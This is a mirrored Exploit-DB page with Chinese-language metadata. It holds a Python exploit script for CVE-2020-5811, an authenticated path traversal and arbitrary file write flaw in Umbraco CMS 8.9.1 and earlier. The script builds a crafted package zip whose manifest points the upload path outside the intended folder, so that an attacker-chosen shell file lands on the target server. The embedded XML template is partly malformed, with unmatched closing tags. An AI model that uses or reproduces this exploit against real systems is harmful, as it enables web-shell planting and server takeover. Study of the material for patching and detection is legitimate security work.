Umbraco CMS 8.9.1 – Directory Traversal - 体验盒子

作者： BitTheByte

日期： 2021-08-31

类别：

webapps

平台：

aspx

来源：https://www.exploit-db.com/exploits/50241/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

# Exploit Title: Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)

# Exploit Author: BitTheByte

# Description: Authenticated path traversal vulnerability.

# Exploit Research: https://www.tenable.com/security/research/tra-2020-59

# Vendor Homepage: https://umbraco.com/

# Version: <= 8.9.1

# CVE : CVE-2020-5811

import string

import random

import argparse

import zipfile

import os

package_xml = f"""<?xml version="1.0" encoding="utf-8"?>

<files>

<file>

<guid>{{filename}}</guid>

<orgPath>{{upload_path}}</orgPath>

<orgName>{{filename}}</orgName>

</file>

</files>

<info>

<name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>

<license url="http://opensource.org/licenses/MIT">MIT License</license>

<url>https://example.com</url>

</requirements>

</package>

<website>https://example.com</website>

</author>

</contributors>

</info>

</umbPackage>

"""

parser = argparse.ArgumentParser(description='CVE-2020-5811')

parser.add_argument('--shell', type=str, help='Shell file to upload', required=True)

parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts')

args = parser.parse_args()

if not os.path.isfile(args.shell):

print("[ERROR] please use a correct path for the shell file.")

output_file = "exploit.zip"

package = zipfile.ZipFile(output_file, 'w')

package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path))

package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read())

package.close()

print(f"[DONE] Created Umbraco package: {output_file}")